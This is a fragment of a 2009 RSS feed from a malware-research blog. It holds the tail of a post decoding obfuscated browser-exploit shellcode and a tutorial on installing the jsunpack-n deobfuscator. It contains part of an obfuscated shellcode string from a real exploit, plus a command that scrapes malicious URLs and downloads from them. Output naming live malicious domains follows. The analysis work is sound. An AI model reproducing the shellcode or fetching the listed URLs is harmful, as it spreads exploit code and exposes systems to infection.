&lt;p&gt;s+=YT(MTV+&#8221;74C0&#8243;+MTV+&#8221;C107&#8243;+MTV+&#8221;0DCF&#8221;+MTV+&#8221;F803&#8243;+MTV+&#8221;F4EB&#8221;+MTV+&#8221;3B36&#8243;+MTV+&#8221;247C&#8221;+MTV+&#8221;7528&#8243;+MTV+&#8221;3EDF&#8221;+MTV+&#8221;5A8B&#8221;+MTV+&#8221;0324&#8243;+MTV+&#8221;66DD&#8221;+MTV+&#8221;8B3E&#8221;+MTV+&#8221;4B0C&#8221;+MTV+&#8221;8B3E&#8221;+MTV+&#8221;1C5A&#8221;+MTV+&#8221;DD03&#8243;);&lt;br /&gt; s+=YT(MTV+&#8221;8B3E&#8221;+MTV+&#8221;8B04&#8243;+MTV+&#8221;C503&#8243;+MTV+&#8221;8936&#8243;+MTV+&#8221;2444&#8243;+MTV+&#8221;611C&#8221;+MTV+&#8221;E8C3&#8243;+MTV+&#8221;FB4F&#8221;+MTV+&#8221;FFFF&#8221;);&lt;/p&gt; &lt;p&gt;var c=s+u;&lt;br /&gt; </textarea></p>
<p>Exploits that target browsers commonly encode shellcode in a JavaScript string using Percent-encoding, &#8220;%uXXXX&#8221;-encoding or entity encoding. Some exploits also obfuscate the encoded shellcode string further to prevent detection by IDS. The example above is one such example of obfuscation because they are substituting the characters MTV with %u and in this case utilizing percent encoding.</p>
<p>Thanks to David Zimmer over at Idefense the following <a href="http://malc0de.com/tools/shellcode_2_exe.php">tool </a>can be used to investigate shell-code either by static or dynamic analysis. Before we can do that we have to clean up the code by replacing MTV with %u and eliminating everything so that we have a &#8220;%uXXXX&#8221; format. Once the code is all cleaned up you can submit it <a href="http://malc0de.com/tools/shellcode_2_exe.php">here </a> The script will then return you a file named shecode.exe_ (the underscore is so that you dont execute it by accident). After saving to the desktop you can then submit to <a href="http://www.virustotal.com/">Virus Total</a>, open in your debugger/disassembler or submit to <a href="anubis.iseclab.org/">Anubis </a>for a behavioral analysis.</p>
<p><a href="http://www.virustotal.com/analisis/b50055fcf57d019feab9b667e10e312fcdce0fb02d58d5b6e705737e9b82787f-1252770968">Virus Total Report</a><br />
<a href="http://www.threatexpert.com/report.aspx?md5=b9676f9a5093897fee22645eaaa80da5">Threatexpert Report</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blog.malc0de.com/2009/09/12/converting-shellcode-to-an-executable-for-further-analysis/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Installing Jsunpack-n v0.1e On Ubuntu 9.04</title>
		<link>http://www.blog.malc0de.com/2009/09/04/installing-jsunpack-n-v0-1e-on-ubuntu-9-04/</link>
		<comments>http://www.blog.malc0de.com/2009/09/04/installing-jsunpack-n-v0-1e-on-ubuntu-9-04/#comments</comments>
		<pubDate>Sat, 05 Sep 2009 05:13:41 +0000</pubDate>
		<dc:creator>JD</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[decoding javascript]]></category>
		<category><![CDATA[installing jsunpack-n]]></category>
		<category><![CDATA[jsunpack]]></category>
		<category><![CDATA[Ubuntu 9.04]]></category>
		<category><![CDATA[yara]]></category>

		<guid isPermaLink="false">http://www.blog.malc0de.com/?p=247</guid>
		<description><![CDATA[A new version of Jsunpack-n was posted recently and i have finally got around to installing it. There are some very cool new features such as 1) improved URL tracking using &#8216;urlattr&#8217; class and urls dictionary 1a) new command line option -g, to create a URL graph (only when pcap contains 10 or fewer URL ]]></description>
			<content:encoded><![CDATA[<p>A new version of <em><strong><a href="http://jsunpack.jeek.org/jsunpack-n.tgz">Jsunpack-n</a></strong></em> was posted recently and i have finally got around to installing it. There are some very cool new features such as</p>
<p>1) improved URL tracking using &#8216;urlattr&#8217; class and urls dictionary<br />
1a) new command line option -g, to create a URL graph (only when pcap contains 10 or fewer URL requests)<br />
<img class="alignnone" title="New -g Option" src="http://malc0de.com/images/url.png" alt="" width="413" height="133" /><br />
2) bug fixes for stream reassembly and pdf parsing<br />
2a) stream reassembly now handles all streams when processing a pcap file, regardless of whether the nids state is in end_states<br />
4) detection of NOP sled shellcode and performance improvements in shellcode processing (this was one of the performance bottlenecks)<br />
5) new output format with ./files/ directory or -d OUTDIR command line option<br />
6) CVE references are available in the &#8216;rules&#8217; file but are temporarily unavailable in alerts</p>
<p>One of the major differences is this release is dependent on <em><strong><a href="http://code.google.com/p/yara-project/">Yara.</a></strong></em>. Before you attempt to install Yara make sure you install PCRE by running the following command</p>
<p><em>apt-get install libpcre3 libpcre3-dev</em></p>
<p>Now download the following files</p>
<p><em>1) http://yara-project.googlecode.com/files/yara-1.2.1.tar.gz</em><br />
<em>2) http://yara-project.googlecode.com/files/yara-python-1.2.1.tar.gz</em></p>
<p>For yara-python-1.2.1.tar.gz you can build by running the following commands</p>
<p><em>$ tar xzvf yara-python-1.2.0.tar.gz</em><br />
<em>$ cd yara-python-1.2.0</em><br />
<em>$ python setup.py build</em><br />
<em>$ sudo python setup.py install</em></p>
<p>And then for yara-1.2.1.tar.gz simply run</p>
<p><em>$ tar xzvf yara-1.2.1.tar.gz</em><br />
<em>$ cd yara-1.2.1</em><br />
<em>$ sudo ./configure; make; make install</em></p>
<p>Next run the following commands</p>
<p><em>$ sudo echo &#8220;/usr/local/lib&#8221; &gt;&gt; /etc/ld.so.conf</em><br />
<em>$ sudo ldconfig</em></p>
<p>I then ran jsunpack-n against one the sample .pcap files with the new -g option to generate an image file however immediately received the following error</p>
<p><em>sudo ./jsunpack-n.py sample-http-exploit.pcap -g url</em><br />
<em><em>Traceback (most recent call last):</em></em><br />
<em><em>File &#8220;./jsunpack-n.py&#8221;, line 1030, in</em></em><br />
<em><em>main()</em></em><br />
<em><em>File &#8220;./jsunpack-n.py&#8221;, line 1026, in main</em></em><br />
<em><em>graph(file, js.urls, options.graphfile)</em></em><br />
<em><em>File &#8220;./jsunpack-n.py&#8221;, line 924, in graph</em></em><br />
<em><em>import yapgvb</em></em><br />
<em><em>ImportError: No module named yapgvb</em></em></p>
<p><em>The error is from a missing python module which can easily be installed by running the following command.</em></p>
<p><em><em>apt-get install python-yapgvb</em></em></p>
<p><em>Now that everything is working I scraped <a href="http://www.malwareurl.com/">MalwareURL.com</a> for the most recently IPs/Domains associated with Exploits by using the following command.</em></p>
<p><em>links2 -dump http://www.malwareurl.com/search.php?domain=\&amp;s=exploits\&amp;match=0\&amp;rp=100\&amp;urls=on\&amp;redirs=on\&amp;ip=on\&amp;reverse=on\&amp;as=on | awk &#8216;{print $1}&#8217; | sed &#8216;s/|//&#8217; | egrep &#8220;[A-Za-z0-9\/]&#8221; | awk &#8216;{print &#8220;http://&#8221;$1}&#8217; &gt;&gt; t3stURLS.txt</em></p>
<p><em>The result of the command stores a list of URLs into a file called t3stURLS.txt while running jsunpack-n in the background we can use wget to loop through the file t3stURLS.txt and download the content to see what gets picked up and decoded.</em></p>
<p><em><em>wget -i t3stURLS.txt -T 1 -t 3</em></em></p>
<p><em>Below is a small sample of the Jsunpack Output that was generated.</em></p>
<p><em><strong>*Caution Malicious URLS*</strong></em></p>
<p><em><em>[suspicious:5] 55x5h.2288.org/fkzd/2.htm</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[impact=5] DecodedIframe  detected &lt;iframe</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[info] [iframe http] http://wm.7udij.cn/x87/xx.html</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[info] [script http] http://js.tongji.linezing.com/1240663/tongji.js</em></em><br />
<em><em>[suspicious:5] wm.7udij.cn/x87/xx.html</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[impact=5] DecodedIframe  detected &lt;iframe</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[info] [iframe .] wm.7udij.cn/x87/Td14.htm</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[info] [iframe .] wm.7udij.cn/x87/yt.htm</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[info] [iframe .] wm.7udij.cn/x87/td09.htm</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[info] [iframe .] wm.7udij.cn/x87/yut.htm</em></em><br />
<em><em>[suspicious:5] 44x5h.2288.org/fkzd/2.htm</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[impact=5] DecodedIframe  detected &lt;iframe</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[info] [iframe http] http://wm.7udij.cn/x87/xx.html</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[info] [script http] http://js.tongji.linezing.com/1240663/tongji.js</em></em><br />
<em><em>[suspicious:5] wm.6bief.cn/x3/xx.html</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[impact=5] DecodedIframe  detected &lt;iframe</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[info] [iframe .] wm.6bief.cn/x3/Td14.htm</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[info] [iframe .] wm.6bief.cn/x3/yt.htm</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[info] [iframe .] wm.6bief.cn/x3/td09.htm</em></em><br />
<span style="white-space: pre;"><em><em> </em></em></span><em><em>[info] [iframe .] wm.6bief.cn/x3/yut.htm</em></em></p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><em>[suspicious:5] 55x5h.2288.org/fkzd/2.htm</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[impact=5] DecodedIframe  detected &lt;iframe</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[info] [iframe http] http://wm.7udij.cn/x87/xx.html</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[info] [script http] http://js.tongji.linezing.com/1240663/tongji.js</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><em>[suspicious:5] wm.7udij.cn/x87/xx.html</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[impact=5] DecodedIframe  detected &lt;iframe</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[info] [iframe .] wm.7udij.cn/x87/Td14.htm</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[info] [iframe .] wm.7udij.cn/x87/yt.htm</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[info] [iframe .] wm.7udij.cn/x87/td09.htm</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[info] [iframe .] wm.7udij.cn/x87/yut.htm</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><em>[suspicious:5] 44x5h.2288.org/fkzd/2.htm</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[impact=5] DecodedIframe  detected &lt;iframe</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[info] [iframe http] http://wm.7udij.cn/x87/xx.html</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[info] [script http] http://js.tongji.linezing.com/1240663/tongji.js</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><em>[suspicious:5] wm.6bief.cn/x3/xx.html</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[impact=5] DecodedIframe  detected &lt;iframe</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[info] [iframe .] wm.6bief.cn/x3/Td14.htm</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[info] [iframe .] wm.6bief.cn/x3/yt.htm</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[info] [iframe .] wm.6bief.cn/x3/td09.htm</em></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1335px; width: 1px; height: 1px;"><span style="white-space: pre;"><em> </em></span><em>[info] [iframe .] wm.6bief.cn/x3/yut.h</em></div>
<p><em>As you can see from the output above jsunpack-n was able to decode the obfuscated JavaScript and output the Iframes that were buried within. Because I am using Wget the Iframes are not followed so this test only touches on some of the functionality jsunpack-n provides. Originally I believe jsunpack-n was developed to act as an IDS application however it can also be used for research purposes.</em></p>
<p><em>The New file directory now organizes the decodings by MD5 and also saves the executables.</em><br />
<em><em>decoding_048c802efcc40b164a42cf29c95ad9e13cf28995</em></em><br />
<em><em>decoding_742d479309d69fd4bc7353647cc66f5cc9418bf9</em></em><br />
<em><em>decoding_d6641a882f77807034ff0a1f5530b1b781ee1019</em></em><br />
<em><em>original_86c2d76a7ba524487ab518c7fae29dcc60c6fc54</em></em><br />
<em><em>decoding_17278448f71fbb774fd420d6bb6dc9f1bf1d8689</em></em><br />
<em><em>decoding_75d715bee572a79d9fba6bae2fff79cf2cb1620d</em></em><br />
<em><em>decoding_f867d1bc0da9a69c286131639f474a5c2521f46d </em></em></p>
<p><em>This tool has come along way and has become one of my favorite. Many thanks to the author for sharing with everyone in the community.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blog.malc0de.com/2009/09/04/installing-jsunpack-n-v0-1e-on-ubuntu-9-04/feed/</wfw:commentRss>
		<slash:comments>137</slash:comments>
		</item>
	</channel>
</rss>

